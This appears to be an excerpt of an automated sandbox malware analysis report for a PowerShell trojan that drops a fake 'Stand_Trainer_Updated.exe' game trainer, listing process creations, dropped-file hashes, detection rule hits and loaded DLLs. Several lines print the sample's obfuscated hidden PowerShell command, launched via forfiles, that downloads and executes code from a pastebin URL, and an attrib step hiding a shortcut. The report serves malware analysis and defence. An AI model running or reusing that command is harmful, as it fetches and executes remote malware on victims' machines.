Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC640752	1_2_00007FFAAC640752
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC63F9A6	1_2_00007FFAAC63F9A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC64BCF3	1_2_00007FFAAC64BCF3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC6410FA	1_2_00007FFAAC6410FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FFAAC6411D3	1_2_00007FFAAC6411D3
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FFB22652720	6_2_00007FFB22652720
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FFAAC661A48	6_2_00007FFAAC661A48
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC66C712	12_2_00007FFAAC66C712
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC66B966	12_2_00007FFAAC66B966
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_00007FFAAC66D1B1	12_2_00007FFAAC66D1B1

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Backend.dll 05FF6FB5A27E37AAB0269106830A0E1A56C709428AB130BBDDEFF737452E6FE3
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe E87B1FCB789B6957B5C99A1393738E928D3918F1E46DB20F761D57AD015AA385

Source: Stand_Trainer_Updated.exe.1.dr

Static PE information: No import functions for PE file found

Source: amsi64_7548.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi64_7912.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6648, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7548, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7912, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal96.troj.expl.evad.winPS1@23/27@3/4

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FFB22652010 CreateToolhelp32Snapshot,Process32First,strcmp,Process32Next,

6_2_00007FFB22652010

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j3yvnkqr.fyx.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\cr_asm3.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user~1\AppData\Local\Temp\Stand_Trainer_Updated.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"
Source: unknown	Process created: C:\Windows\System32\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dwdaoju2\dwdaoju2.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user~1\AppData\Local\Temp\Stand_Trainer_Updated.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESD0F0.tmp" "c:\Users\user\AppData\Local\Temp\dwdaoju2\CSC6D3B5E607DDC4941A0658A6CD27B5246.TMP"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
